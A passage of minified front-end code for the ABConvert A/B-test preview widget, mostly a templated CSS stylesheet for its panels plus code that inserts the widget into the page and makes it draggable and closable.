{\n      background: ${o};\n      color: ${h};\n      border: 1px solid #c72b2b;\n    }\n\n    .abconvert-btn-critical:hover {\n      background: ${d};\n    }\n\n    /* Card - Polaris nested card */\n    .abconvert-card {\n      background: ${i};\n      border: 1px solid ${E};\n      border-radius: ${W};\n      padding: ${z};\n    }\n\n    /* Group List - Clickable items for switching groups */\n    .abconvert-group-list {\n      display: flex;\n      flex-direction: column;\n      gap: ${T};\n    }\n\n    .abconvert-group-item {\n      width: 100%;\n      padding: ${M} ${z};\n      border: none;\n      border-radius: ${q};\n      background: transparent;\n      display: flex;\n      justify-content: space-between;\n      align-items: center;\n      font-size: ${G};\n      font-family: ${D};\n      cursor: pointer;\n      text-align: left;\n      transition: background ${nn} ${en};\n    }\n\n    .abconvert-group-item:hover {\n      background: ${a};\n    }\n\n    .abconvert-group-item:focus-visible {\n      outline: none;\n      box-shadow: ${K};\n    }\n\n    .abconvert-group-item.active {\n      background: ${u};\n      cursor: default;\n    }\n\n    .abconvert-group-item .name {\n      font-weight: 400;\n      color: ${f};\n    }\n\n    .abconvert-group-item.active .name {\n      font-weight: ${B};\n      color: ${$};\n    }\n\n    .abconvert-group-item .percentage {\n      font-size: ${j};\n      color: ${b};\n      font-variant-numeric: tabular-nums;\n    }\n\n    .abconvert-group-item.active .percentage {\n      color: ${$};\n    }\n\n    /* Badge - Polaris Badge component */\n    .abconvert-badge {\n      display: inline-flex;\n      align-items: center;\n      gap: ${A};\n      padding: ${T} ${M};\n      border-radius: ${Z};\n      font-size: ${N};\n      font-weight: ${B};\n      line-height: 1.4;\n    }\n\n    .abconvert-badge-success {\n      background: ${c};\n      color: ${m};\n    }\n\n    .abconvert-badge-info {\n      background: ${v};\n      color: ${w};\n    }\n\n    .abconvert-badge-warning {\n      background: ${p};\n      color: ${x};\n    }\n\n    .abconvert-badge-dot {\n      width: 6px;\n      height: 6px;\n      border-radius: 50%;\n      background: currentColor;\n    }\n\n    /* Offer Test Panel — mirrors admin OfferSummaryDisplay pattern */\n    .abconvert-offer-card {\n      display: flex;\n      flex-direction: column;\n      gap: ${z};\n      background: ${i};\n      border: 1px solid ${E};\n      border-radius: ${W};\n      padding: ${z};\n    }\n\n    .abconvert-offer-head {\n      display: flex;\n      flex-direction: column;\n      gap: ${A};\n    }\n\n    .abconvert-offer-primary-row {\n      display: flex;\n      align-items: flex-start;\n      justify-content: space-between;\n      gap: ${M};\n    }\n\n    .abconvert-offer-primary {\n      flex: 1;\n      min-width: 0;\n      font-size: ${U};\n      font-weight: 400;\n      color: ${f};\n      letter-spacing: ${F};\n      line-height: ${V};\n      word-break: break-word;\n    }\n\n    .abconvert-offer-secondary {\n      font-size: ${j};\n      color: ${b};\n      word-break: break-word;\n    }\n\n    .abconvert-offer-type {\n      flex-shrink: 0;\n      align-self: flex-start;\n      padding: 2px ${M};\n      border-radius: 999px;\n      background: ${v};\n      font-size: ${N};\n      font-weight: ${B};\n      color: ${w};\n      line-height: 1.25;\n      white-space: nowrap;\n    }
920\n\n    .abconvert-offer-type-empty {\n      background: ${i};\n      color: ${b};\n    }\n\n    .abconvert-offer-scope {\n      display: flex;\n      flex-direction: row;\n      gap: ${M};\n      align-items: flex-start;\n      padding: ${M} ${z};\n      background: ${o};\n      border: 1px solid ${E};\n      border-radius: ${H};\n    }\n\n    .abconvert-offer-scope-icon {\n      flex-shrink: 0;\n      color: ${S};\n      display: flex;\n      align-items: center;\n      margin-top: 2px;\n    }\n\n    .abconvert-offer-scope-body {\n      display: flex;\n      flex-direction: column;\n      gap: ${T};\n      flex: 1;\n      min-width: 0;\n    }\n\n    .abconvert-offer-scope-count {\n      font-size: ${N};\n      font-weight: ${B};\n      color: ${b};\n    }\n\n    .abconvert-offer-scope-names {\n      display: flex;\n      flex-direction: row;\n      gap: ${R};\n      align-items: center;\n      flex-wrap: wrap;\n      font-size: ${j};\n      color: ${f};\n      word-break: break-word;\n    }\n\n    .abconvert-offer-overflow {\n      position: relative;\n      display: inline-flex;\n      align-items: center;\n      padding: ${T} ${R};\n      background: ${r};\n      border-radius: ${q};\n      font-size: ${N};\n      color: ${b};\n    }\n\n    /* Fast CSS-only tooltip — replaces native title="" so we don't inherit the\n       browser's ~700ms hover delay. The widget container is overflow-hidden,\n       so the tooltip is anchored to the chip's left edge and extends rightward\n       (the +N more chip always sits near the widget's left side) to avoid\n       getting clipped. Width-capped so long lists wrap. */\n    .abconvert-offer-overflow::before {\n      content: attr(data-tooltip);\n      position: absolute;\n      bottom: calc(100% + ${A});\n      left: 0;\n      max-width: 220px;\n      width: max-content;\n      padding: ${R} ${M};\n      background: ${f};\n      color: ${y};\n      border-radius: ${q};\n      font-size: ${N};\n      line-height: ${V};\n      white-space: normal;\n      word-break: break-word;\n      text-align: left;\n      pointer-events: none;\n      opacity: 0;\n      transition: opacity ${X} ${J};\n      z-index: 1;\n    }\n\n    .abconvert-offer-overflow:hover::before,\n    .abconvert-offer-overflow:focus-visible::before {\n      opacity: 1;\n    }\n\n    /* Volume tier breakdown — 2-column threshold/discount table.\n       Lets merchants verify each tier rule from the storefront preview without\n       opening the admin. White card sits between the head block and scope row. */\n    .abconvert-offer-tier-table {\n      display: flex;\n      flex-direction: column;\n      background: ${o};\n      border: 1px solid ${E};\n      border-radius: ${H};\n      overflow: hidden;\n    }\n\n    .abconvert-offer-tier-header {\n      display: grid;\n      grid-template-columns: 1fr 1fr;\n      gap: ${M};\n      padding: ${M} ${z};\n      background: ${i};\n      border-bottom: 1px solid ${E};\n    }\n\n    .abconvert-offer-tier-header-label {\n      font-size: ${N};\n      font-weight: ${B};\n      color: ${b};\n      text-transform: uppercase;\n      letter-spacing: 0.5px;\n    }\n\n    .abconvert-offer-tier-row {\n      display: grid;\n      grid-template-columns: 1fr 1fr;\n      gap: ${M};\n      padding: ${M} ${z};\n      font-size: ${j};\n      color: ${f};\n    }\n\n    .abconvert-offer-tier-row + .abconvert-offer-tier-row {\n      border-top: 1px solid ${E};\n    }\n\n    .abconvert-offer-tier-qty {\n      color: ${f};\n    }\n\n    .abconvert-offer-tier-discount {\n      color: ${f};\n      font-weight: ${B};\n      font-variant-numeric: tabular-nums;\n    }\n\n    /* Checkout Test Panel — Delivery / Payment / Content / Cart / Upsell.\n       Categories mirror the editor picker; rows share a single icon-slot +\n       type/op + summary template so the panel scans top-to-bottom. */\n    .abconvert-checkout-panel {\n      display: flex;\n      flex-direction: column;\n      gap: ${z};\n    }\n\n    /* Combined test panel (PRO-2273): one collapsible per stacked modification,\n       whose body is that type's own preview panel. Header = type + short summary. */\n    .abconvert-combined-mod {\n      display: flex;\n      flex-direction: column;\n      border: 1px solid ${E};\n      border-radius: ${W};\n      overflow: hidden;\n      margin-bottom: ${M};\n    }\n\n    .abconvert-combined-mod-head {\n      display: flex;\n      align-items: center;\n      justify-content: space-between;\n      width: 100%;\n      padding: ${R} ${M};\n      background: ${i};\n      border: none;\n      font-family: ${D};\n      color: ${f};\n      cursor: pointer;\n      text-align: left;\n      transition: background-color ${X} ${J};\n    }\n\n    .abconvert-combined-mod-head:hover {\n      background-color: ${a};\n    }\n\n    .abconvert-combined-mod-label {\n      font-size: ${N};\n      font-weight: ${O};\n      color: ${f};\n    }\n\n    .abconvert-combined-mod-meta {\n      display: inline-flex;\n      align-items: center;\n      gap: ${R};\n    }\n\n    .abconvert-combined-mod-summary {\n      font-size: 10px;\n      font-weight: ${B};\n      color: ${b};\n    }\n\n    .abconvert-combined-mod-arrow {\n      color: ${S};\n      transition: transform ${Y} ${Q};\n      display: inline-flex;\n      align-items: center;\n    }\n\n    .abconvert-combined-mod-arrow.expanded {\n      transform: rotate(180deg);\n    }\n\n    .abconvert-combined-mod-content {\n      max-height: 0;\n      overflow: hidden;\n      padding: 0 ${M};\n    }\n\n    .abconvert-combined-mod-content.expanded {\n      padding: ${M};\n    }
920\n\n    .abconvert-combined-mod-empty {\n      font-size: ${N};\n      color: ${b};\n      text-align: center;\n    }\n\n    .abconvert-checkout-section {\n      display: flex;\n      flex-direction: column;\n      gap: ${M};\n    }\n\n    .abconvert-checkout-section-head {\n      display: flex;\n      align-items: center;\n      justify-content: space-between;\n      width: 100%;\n      padding: ${A} ${R};\n      margin: 0 -${R};\n      background: none;\n      border: none;\n      border-radius: ${q};\n      font-family: ${D};\n      color: ${f};\n      cursor: pointer;\n      text-align: left;\n      transition: background-color ${X} ${J};\n    }\n\n    .abconvert-checkout-section-head:hover {\n      background-color: ${a};\n    }\n\n    .abconvert-checkout-section-head:hover .abconvert-checkout-section-label,\n    .abconvert-checkout-section-head:focus-visible .abconvert-checkout-section-label {\n      color: ${f};\n    }\n\n    .abconvert-checkout-section-head:focus-visible {\n      outline: none;\n      background-color: ${a};\n    }\n\n    .abconvert-checkout-section-label {\n      font-size: ${N};\n      font-weight: ${O};\n      color: ${b};\n      text-transform: uppercase;\n      letter-spacing: 0.06em;\n    }\n\n    .abconvert-checkout-section-meta {\n      display: inline-flex;\n      align-items: center;\n      gap: ${R};\n    }\n\n    .abconvert-checkout-section-count {\n      font-size: ${N};\n      font-weight: ${B};\n      color: ${b};\n    }\n\n    .abconvert-checkout-section-arrow {\n      color: ${S};\n      transition: transform ${Y} ${Q};\n      display: inline-flex;\n      align-items: center;\n    }\n\n    .abconvert-checkout-section-arrow.expanded {\n      transform: rotate(180deg);\n    }\n\n    .abconvert-checkout-section-arrow svg {\n      display: block;\n    }\n\n    .abconvert-checkout-section-rows {\n      display: none;\n      flex-direction: column;\n      gap: ${A};\n      margin-top: ${M};\n    }\n\n    .abconvert-checkout-section-rows.expanded {\n      display: flex;\n    }\n\n    .abconvert-checkout-row {\n      display: flex;\n      align-items: flex-start;\n      gap: ${M};\n      padding: ${M};\n      background: ${i};\n      border: 1px solid ${E};\n      border-radius: ${W};\n    }\n\n    .abconvert-checkout-icon {\n      flex-shrink: 0;\n      width: 28px;\n      height: 28px;\n      display: flex;\n      align-items: center;\n      justify-content: center;\n      background: ${o};\n      border: 1px solid ${k};\n      border-radius: ${H};\n      color: ${f};\n    }\n\n    .abconvert-checkout-icon-hide {\n      background: ${d};\n      border-color: ${s};\n      color: ${h};\n    }\n\n    .abconvert-checkout-icon-rename {\n      background: ${u};\n      border-color: ${l};\n      color: ${w};\n    }\n\n    .abconvert-checkout-body {\n      display: flex;\n      flex-direction: column;\n      gap: ${A};\n      flex: 1;\n      min-width: 0;\n    }\n\n    .abconvert-checkout-row-head {\n      display: flex;\n      align-items: center;\n      gap: ${R};\n      flex-wrap: wrap;\n    }\n\n    .abconvert-checkout-type {\n      font-size: 10px;\n      font-weight: ${O};\n      color: ${b};\n      text-transform: uppercase;\n      letter-spacing: 0.04em;\n    }\n\n    .abconvert-checkout-type-hide {\n      color: ${h};\n    }\n\n    .abconvert-checkout-type-rename {\n      color: ${w};\n    }\n\n    .abconvert-checkout-meta {\n      font-size: 10px;\n      font-weight: ${B};\n      color: ${b};\n      padding: 1px ${R};\n      background: ${o};\n      border: 1px solid ${E};\n      border-radius: 2px;\n    }\n\n    .abconvert-checkout-meta-success {\n      color: ${m};\n      background: ${c};\n      border-color: #a0e4cb;\n    }\n\n    .abconvert-checkout-meta-critical {\n      color: ${h};\n      background: ${d};\n      border-color: ${s};\n    }\n\n    .abconvert-checkout-meta-warning {\n      color: ${x};\n      background: ${p};\n      border-color: #ffe291;\n    }\n\n    .abconvert-checkout-meta-info {\n      color: ${w};\n      background: ${u};\n      border-color: ${l};\n    }\n\n    .abconvert-checkout-row-text {\n      font-size: ${j};\n      font-weight: ${B};\n      color: ${f};\n      overflow: hidden;\n      text-overflow: ellipsis;\n      white-space: nowrap;\n    }\n\n    .abconvert-checkout-row-text-inline {\n      font-size: ${j};\n      font-weight: ${B};\n      color: ${f};\n    }\n\n    .abconvert-checkout-chip-row {\n      display: flex;\n      flex-wrap: wrap;\n      gap: ${A};\n      align-items: center;\n    }\n\n    .abconvert-checkout-method-chip {\n      display: inline-flex;\n      align-items: center;\n      gap: ${A};\n      font-size: ${N};\n      font-weight: ${B};\n      color: ${f};\n      padding: ${T} ${R};\n      background: ${o};\n      border: 1px solid ${k};\n      border-radius: ${q};\n    }\n\n    .abconvert-checkout-method-chip-strong {\n      font-weight: ${O};\n    }\n\n    .abconvert-checkout-pin-idx {\n      font-size: 9px;\n      font-weight: 700;\n      color: ${b};\n    }\n\n    .abconvert-checkout-rename-list {\n      display: flex;\n      flex-direction: column;\n      gap: ${A};\n    }\n\n    .abconvert-checkout-rename-rule {\n      display: flex;\n      align-items: center;\n      gap: ${R};\n      flex-wrap: wrap;\n    }\n\n    .abconvert-checkout-rename-arrow {\n      color: ${b};\n      display: inline-flex;\n      align-items: center;\n    }\n\n    .abconvert-checkout-flag {\n      display: inline-flex;\n      align-items: center;\n      gap: ${A};\n      font-size: ${N};\n      font-weight: ${B};\n      padding: ${T} ${R};\n      border-radius: ${q};\n    }\n\n    .abconvert-checkout-flag-on {\n      color: ${m};\n      background: ${c};\n    }\n\n    .abconvert-checkout-flag-off {\n      color: ${g};\n      background: ${r};\n      text-decoration: line-through;\n    }
920\n\n    .abconvert-checkout-empty {\n      font-size: ${j};\n      color: ${b};\n      padding: ${z};\n      text-align: center;\n    }\n\n    /* Collapsible Section - Polaris Collapsible pattern */\n    .abconvert-collapsible-header {\n      width: 100%;\n      background: none;\n      border: none;\n      padding: ${M} 0;\n      text-align: left;\n      cursor: pointer;\n      font-weight: ${B};\n      font-size: ${G};\n      font-family: ${D};\n      color: ${f};\n      display: flex;\n      justify-content: space-between;\n      align-items: center;\n      transition: color ${nn} ${en};\n    }\n\n    .abconvert-collapsible-header:hover {\n      color: ${$};\n    }\n\n    .abconvert-collapsible-header:focus-visible {\n      outline: none;\n      color: ${$};\n    }\n\n    .abconvert-collapsible-arrow {\n      color: ${S};\n      transition: transform ${Y} ${Q};\n      display: flex;\n      align-items: center;\n    }\n\n    .abconvert-collapsible-arrow svg {\n      width: 16px;\n      height: 16px;\n    }\n\n    .abconvert-collapsible-arrow.expanded {\n      transform: rotate(180deg);\n    }\n\n    .abconvert-collapsible-content {\n      max-height: 0;\n      overflow: hidden;\n      transition: max-height 300ms ${Q};\n    }\n\n    .abconvert-collapsible-content.expanded {\n      max-height: 2000px;\n    }\n\n    /* Product List - Polaris ResourceItem pattern */\n    .abconvert-product-list {\n      max-height: 200px;\n      overflow-y: auto;\n      scrollbar-width: thin;\n      scrollbar-color: ${k} transparent;\n    }\n\n    .abconvert-product-list::-webkit-scrollbar {\n      width: 4px;\n    }\n\n    .abconvert-product-list::-webkit-scrollbar-thumb {\n      background: ${k};\n      border-radius: ${Z};\n    }\n\n    .abconvert-product-item {\n      display: flex;\n      align-items: center;\n      gap: ${z};\n      padding: ${M} ${z};\n      margin: ${T} 0;\n      border-radius: ${q};\n      text-decoration: none;\n      color: ${f};\n      transition: background ${nn} ${en};\n    }\n\n    .abconvert-product-item:hover {\n      background: ${a};\n    }\n\n    .abconvert-product-item:focus-visible {\n      outline: none;\n      box-shadow: ${K};\n    }\n\n    .abconvert-product-image {\n      width: 40px;\n      height: 40px;\n      border-radius: ${q};\n      object-fit: cover;\n      border: 1px solid ${E};\n      background: ${r};\n      flex-shrink: 0;\n    }\n\n    .abconvert-product-info {\n      flex: 1;\n      min-width: 0;\n    }\n\n    .abconvert-product-title {\n      font-size: ${G};\n      font-weight: ${B};\n      color: ${f};\n      overflow: hidden;\n      text-overflow: ellipsis;\n      white-space: nowrap;\n    }\n\n    .abconvert-product-price {\n      font-size: ${j};\n      color: ${b};\n      margin-top: ${T};\n      font-variant-numeric: tabular-nums;\n    }\n\n    .abconvert-product-price s {\n      color: ${g};\n      margin-right: ${A};\n    }\n\n    .abconvert-product-price .current-price {\n      color: ${m};\n      font-weight: ${B};\n    }\n\n    .abconvert-product-variants {\n      font-size: ${N};\n      color: ${b};\n      margin-top: ${T};\n    }\n\n    .abconvert-product-arrow {\n      color: ${S};\n      flex-shrink: 0;\n      display: flex;\n      align-items: center;\n    }\n\n    .abconvert-product-arrow svg {\n      width: 16px;\n      height: 16px;\n    }\n\n    /* Shipping Test Panel */\n    .abconvert-shipping-groups {\n      display: flex;\n      flex-direction: column;\n      gap: ${M};\n    }\n\n    .abconvert-shipping-group-card {\n      border: 1px solid ${E};\n      border-radius: ${W};\n      background: ${o};\n      overflow: hidden;\n    }\n\n    .abconvert-shipping-group-card.active {\n      border-color: ${E};\n    }\n\n    .abconvert-shipping-group-header {\n      padding: ${M} ${z};\n      font-weight: ${B};\n      font-size: ${j};\n      background: ${i};\n      border-bottom: 1px solid ${E};\n    }\n\n    .abconvert-shipping-zone {\n      padding: ${M} ${z};\n    }\n\n    .abconvert-shipping-zone + .abconvert-shipping-zone {\n      margin-top: ${M};\n    }\n\n    .abconvert-shipping-zone-name {\n      font-size: ${j};\n      font-weight: ${O};\n      color: ${f};\n      margin-bottom: ${A};\n      padding-bottom: ${A};\n      border-bottom: 1px solid ${E};\n    }\n\n    .abconvert-shipping-rate-row {\n      display: flex;\n      align-items: baseline;\n      gap: ${A};\n      font-size: ${j};\n      padding: ${T} 0;\n      flex-wrap: wrap;\n    }\n\n    .abconvert-shipping-rate-name {\n      flex: 1;\n      min-width: 0;\n      overflow: hidden;\n      text-overflow: ellipsis;\n      white-space: nowrap;\n      color: ${f};\n    }\n\n    .abconvert-shipping-rate-price {\n      flex-shrink: 0;\n      font-weight: ${B};\n      font-variant-numeric: tabular-nums;\n      color: ${f};\n    }\n\n    .abconvert-shipping-rate-condition {\n      width: 100%;\n      font-size: ${N};\n      color: ${b};\n      padding-left: ${M};\n    }\n\n    .abconvert-shipping-no-rates {\n      padding: ${M} ${z};\n      font-size: ${j};\n      color: ${b};\n      font-style: italic;\n    }\n\n    /* Visual Editor Tabs */\n    .abconvert-ve-tabs {\n      display: flex;\n      border-bottom: 1px solid ${E};\n      margin-bottom: ${z};\n      gap: 0;\n    }\n\n    .abconvert-ve-tab {\n      flex: 1;\n      background: none;\n      border: none;\n      border-bottom: 2px solid transparent;\n      padding: ${M} ${z};\n      font-size: ${j};\n      font-weight: ${B};\n      font-family: ${D};\n      color: ${b};\n      cursor: pointer;\n      transition: color ${nn} ${en},\n                  border-color ${nn} ${en};\n      text-align: center;\n    }\n\n    .abconvert-ve-tab:hover:not(:disabled) {\n      color: ${f};\n    }\n\n    .abconvert-ve-tab.active {\n      color: ${f};\n      border-bottom-color: ${P};\n    }\n\n    .abconvert-ve-tab:disabled {\n      color: ${g};
920\n      cursor: not-allowed;\n    }\n\n    .abconvert-ve-code-block {\n      margin-bottom: ${A};\n    }\n\n    .abconvert-ve-code-toggle {\n      display: flex;\n      align-items: center;\n      gap: ${A};\n      background: none;\n      border: none;\n      padding: ${A} 0;\n      cursor: pointer;\n      font-family: ${D};\n      font-size: ${N};\n      color: ${b};\n    }\n\n    .abconvert-ve-code-toggle:hover {\n      color: ${f};\n    }\n\n    .abconvert-ve-code-chevron {\n      display: flex;\n      align-items: center;\n      transition: transform ${Y} ${Q};\n    }\n\n    .abconvert-ve-code-chevron.expanded {\n      transform: rotate(180deg);\n    }\n\n    .abconvert-ve-code-content {\n      max-height: 0;\n      overflow: hidden;\n      transition: max-height ${Y} ${Q};\n    }\n\n    .abconvert-ve-code-content.expanded {\n      max-height: 400px;\n      overflow-y: auto;\n    }\n\n    .abconvert-ve-code-pre {\n      font-family: ${_};\n      font-size: ${N};\n      line-height: ${V};\n      background: ${r};\n      border: 1px solid ${E};\n      border-radius: ${q};\n      padding: ${M};\n      margin: 0;\n      white-space: pre-wrap;\n      word-break: break-word;\n      color: ${f};\n    }\n\n    .abconvert-ve-code-hint {\n      font-size: ${N};\n      color: ${b};\n      margin-bottom: ${M};\n    }\n\n    .abconvert-ve-empty {\n      font-size: ${j};\n      color: ${b};\n      padding: ${M} 0;\n      text-align: center;\n    }\n\n    /* Page List - Visual Editor panel */\n    .abconvert-page-list {\n      max-height: 200px;\n      overflow-y: auto;\n      scrollbar-width: thin;\n      scrollbar-color: ${k} transparent;\n    }\n\n    .abconvert-page-list::-webkit-scrollbar {\n      width: 4px;\n    }\n\n    .abconvert-page-list::-webkit-scrollbar-thumb {\n      background: ${k};\n      border-radius: ${Z};\n    }\n\n    .abconvert-page-item {\n      display: flex;\n      align-items: center;\n      gap: ${z};\n      padding: ${M} ${z};\n      margin: ${T} 0;\n      border-radius: ${q};\n      text-decoration: none;\n      color: ${f};\n      transition: background ${nn} ${en};\n    }\n\n    .abconvert-page-item:hover {\n      background: ${a};\n    }\n\n    .abconvert-page-item:focus-visible {\n      outline: none;\n      box-shadow: ${K};\n    }\n\n    .abconvert-page-item.active {\n      background: ${u};\n    }\n\n    .abconvert-page-icon {\n      flex-shrink: 0;\n      color: ${S};\n      display: flex;\n      align-items: center;\n    }\n\n    .abconvert-page-info {\n      flex: 1;\n      min-width: 0;\n    }\n\n    .abconvert-page-path {\n      font-size: ${G};\n      font-weight: ${B};\n      color: ${f};\n      overflow: hidden;\n      text-overflow: ellipsis;\n      white-space: nowrap;\n      font-family: ${_};\n    }\n\n    .abconvert-page-changes {\n      font-size: ${N};\n      color: ${b};\n      margin-top: ${T};\n    }\n\n    /* Debug Panel */\n    .abconvert-debug-section {\n      border-top: 1px solid ${E};\n      margin-top: ${z};\n      padding-top: ${z};\n    }\n\n    .abconvert-debug-header {\n      color: ${b};\n      font-size: ${j};\n      font-weight: ${B};\n      margin-bottom: ${M};\n    }\n\n    .abconvert-context-grid {\n      display: grid;\n      grid-template-columns: 90px 1fr;\n      gap: ${A} ${M};\n      font-size: ${j};\n    }\n\n    .abconvert-context-label {\n      color: ${b};\n    }\n\n    .abconvert-context-value {\n      font-family: ${_};\n      font-size: ${N};\n      color: ${f};\n      overflow: hidden;\n      text-overflow: ellipsis;\n      white-space: nowrap;\n    }\n\n    /* Info Banner - Polaris Banner component */\n    .abconvert-info-banner {\n      display: flex;\n      align-items: flex-start;\n      gap: ${M};\n      border-radius: ${W};\n      padding: ${z};\n      margin-bottom: ${L};\n      font-size: ${j};\n      line-height: ${V};\n      box-shadow: none;\n    }\n\n    .abconvert-info-banner .abconvert-badge {\n      flex-shrink: 0;
920\n      margin-top: 1px;\n    }\n\n    .abconvert-info-banner.highlight {\n      background: ${v};\n      border-left: 3px solid ${w};\n    }\n\n    .abconvert-info-banner.warning {\n      background: ${p};\n      border-left: 3px solid ${x};\n    }\n\n    .abconvert-info-banner.success {\n      background: ${c};\n      border-left: 3px solid ${m};\n    }\n\n    .abconvert-info-banner.critical {\n      background: ${d};\n      border-left: 3px solid ${h};\n    }\n\n    /* Override Controls */\n    .abconvert-override-grid {\n      display: grid;\n      grid-template-columns: 1fr 1fr;\n      gap: ${M};\n    }\n\n    .abconvert-override-select {\n      padding: ${R} ${M};\n      padding-right: 28px;\n      border: 1px solid ${k};\n      border-radius: ${q};\n      font-size: ${j};\n      font-family: ${D};\n      background-color: ${o};\n      background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='10' height='10' viewBox='0 0 20 20' fill='%23616161'%3E%3Cpath d='M10 14l-5-5h10l-5 5z'/%3E%3C/svg%3E");\n      background-repeat: no-repeat;\n      background-position: right 8px center;\n      appearance: none;\n      cursor: pointer;\n    }\n\n    .abconvert-override-select:focus {\n      outline: none;\n      border-color: ${I};\n      box-shadow: 0 0 0 1px ${I};\n    }\n\n    .abconvert-button-group {\n      display: flex;\n      gap: ${M};\n      margin-top: ${L};\n    }\n\n    .abconvert-button-group .abconvert-btn {\n      flex: 1;\n    }\n\n    /* Result Box */\n    .abconvert-result-box {\n      display: none;\n      margin-top: ${L};\n      padding: ${z};\n      border-radius: ${W};\n      font-size: ${j};\n      line-height: ${V};\n    }\n\n    .abconvert-result-box.visible {\n      display: block;\n    }\n\n    .abconvert-result-box.success {\n      background: ${c};\n      color: ${m};\n    }\n\n    .abconvert-result-box.error {\n      background: ${d};\n      color: ${h};\n    }\n\n    .abconvert-result-box.info {\n      background: ${v};\n      color: ${w};\n    }\n\n    .abconvert-result-box.warning {\n      background: ${p};\n      color: ${x};\n    }\n\n    /* Status indicators */\n    .abconvert-status-icon {\n      font-weight: ${O};\n      font-size: ${U};\n    }\n\n    .abconvert-status-icon.pass {\n      color: ${m};\n    }\n\n    .abconvert-status-icon.fail {\n      color: ${h};\n    }\n\n    /* Section headers - Polaris Text subdued pattern */\n    .abconvert-section-header {\n      font-weight: ${B};\n      font-size: ${N};\n      color: ${b};\n      margin-bottom: ${M};\n      text-transform: uppercase;\n      letter-spacing: 0.5px;\n    }\n\n    /* Experiment info */\n    .abconvert-experiment-info {\n      margin-bottom: ${L};\n    }\n\n    .abconvert-experiment-name {\n      font-weight: ${O};\n      font-size: ${U};\n      margin-bottom: ${A};\n      color: ${f};\n    }\n\n    .abconvert-experiment-meta {\n      display: flex;\n      align-items: center;\n      gap: ${M};\n      margin-bottom: ${M};\n      flex-wrap: wrap;\n    }\n\n    .abconvert-experiment-id {\n      font-size: ${j};\n      color: ${b};\n      font-family: ${_};\n    }\n\n    /* Divider */\n    .abconvert-divider {\n      height: 1px;\n      background: ${E};\n      margin: ${L} 0;\n    }\n\n    /* Empty state */\n    .abconvert-empty-state {\n      text-align: center;\n      padding: 24px ${L};\n      color: ${b};\n    }\n\n    .abconvert-empty-state-text {\n      font-size: ${j};\n    }\n\n    /* Loading state */\n    .abconvert-loading {\n      display: flex;\n      align-items: center;\n      justify-content: center;\n      padding: ${L};\n    }\n\n    .abconvert-spinner {\n      width: 20px;\n      height: 20px;\n      border: 2px solid ${E};\n      border-top-color: ${P};\n      border-radius: 50%;\n      animation: abconvert-spin 0.8s linear infinite;\n    }\n\n    @keyframes abconvert-spin {\n      to {\n        transform: rotate(360deg);\n      }\n    }\n\n    /* Tooltip */\n    .abconvert-tooltip {\n      position: absolute;\n      background: ${f};\n      color: ${y};\n      padding: ${A} ${M};\n      border-radius: ${q};\n      font-size: ${N};\n      white-space: nowrap;\n      z-index: 1000;\n      pointer-events: none;\n      opacity: 0;\n      transition: opacity ${nn} ${en};\n    }\n\n    .abconvert-tooltip.visible {\n      opacity: 1;\n    }\n\n    /* Accessibility: Reduce motion */\n    @media (prefers-reduced-motion: reduce) {\n      .abconvert-widget *,\n      .abconvert-widget *::before,\n      .abconvert-widget *::after {\n        animation-duration: 0.01ms !important;\n        animation-iteration-count: 1 !important;\n        transition-duration: 0.01ms !important;\n      }\n    }\n  `,e=document.createElement("style");e.id=tn,e.textContent=n,document.head.appendChild(e)}();const hn=function(n){const e=function(n){let{totalExperiments:e}=n;return`\n    <div id="abconvert-widget-header" class="abconvert-widget-header">\n      \n    <svg class="abconvert-drag-handle" width="12" height="16" viewB
920ox="0 0 12 16" fill="none">\n      <circle cx="3" cy="3" r="1.5" fill="currentColor"/>\n      <circle cx="9" cy="3" r="1.5" fill="currentColor"/>\n      <circle cx="3" cy="8" r="1.5" fill="currentColor"/>\n      <circle cx="9" cy="8" r="1.5" fill="currentColor"/>\n      <circle cx="3" cy="13" r="1.5" fill="currentColor"/>\n      <circle cx="9" cy="13" r="1.5" fill="currentColor"/>\n    </svg>\n  \n      <div class="abconvert-widget-title">\n        <div class="abconvert-widget-title-text">ABConvert Preview</div>\n        <div class="abconvert-widget-subtitle">${1===e?"1 Preview Test in this theme":`${e} Preview Tests in this theme`}</div>\n      </div>\n      <button id="abconvert-widget-close" class="abconvert-close-btn" title="Close">\n        &times;\n      </button>\n    </div>\n  `}({totalExperiments:Object.keys(n.experiments).length}),t=bn(n);return`\n    <div id="${vn}" class="abconvert-widget">\n      ${e}\n      <div class="abconvert-widget-content">\n        ${t}\n      </div>\n    </div>\n  `}(fn);try{document.body.insertAdjacentHTML("beforeend",hn)}catch(n){return void console.error("[ABConvert] Failed to insert widget:",n)}const $n=document.getElementById(vn);$n&&($n.dataset.experimentId=an,function(n,e){const t=n.querySelector("#abconvert-widget-header");t&&function(n,e){let t,o,r,i,a=!1;e.addEventListener("mousedown",(c=>{r=c.clientX,i=c.clientY;const s=n.getBoundingClientRect();t=s.left,o=s.top,n.style.right="auto",n.style.left=t+"px",n.style.top=o+"px",n.style.transform="none",a=!0,e.classList.add("dragging")})),document.addEventListener("mousemove",(e=>{if(!a)return;e.preventDefault();const c=e.clientX-r,s=e.clientY-i,d=t+c,l=o+s,u=window.innerWidth-n.offsetWidth,p=window.innerHeight-n.offsetHeight,v=Math.max(0,Math.min(d,u)),f=Math.max(0,Math.min(l,p));n.style.left=v+"px",n.style.top=f+"px"})),document.addEventListener("mouseup",(()=>{a&&(a=!1,e.classList.remove("dragging"))}))}(n,t),function(n){const e=n.querySelector("#abconvert-widget-close");e&&e.addEventListener("click",(()=>{n.style.display="none"}))}(n),mn(n,e)}($n,fn))}function bn(n){const{testType:e,experiments:t,experimentId:o,experimentData:r,currentGroupIndex:i,isV5:a,debugInfo:c,debugApi:s}=n,d=r.groups||[],l=(0,on.uH)(),u=function(n){let{experiments:e,currentExperimentId:t}=n;const o=Object.keys(e);return o.length<=1?"":`\n    <div class="abconvert-section">\n      <label class="abconvert-section-label">Select Experiment</label>\n      <select id="abconvert-experiment-selector" class="abconvert-select">\n        ${o.map((n=>{const o=e[n],r=o.experimentId||n,i=o.name||"Untitled Experiment";return`<option value="${n}" ${n===t?"selected":""}>${i} (#${r})</option>`})).join("")}\n      </select>\n    </div>\n  `}({experiments:t,currentExperimentId:o}),p=function(n){let{name:e,experimentId:t,status:o}=n;return`\n    <div class="abconvert-experiment-info">\n      <div class="abconvert-experiment-name">${e||"Price Test Preview"}</div>\n      <div class="abconvert-experiment-meta">\n        <span class="abconvert-experiment-id">#${t||"—"}</span>\n        <span class="abconvert-badge abconvert-badge-success">\n          <span class="abconvert-badge-dot"></span>\n          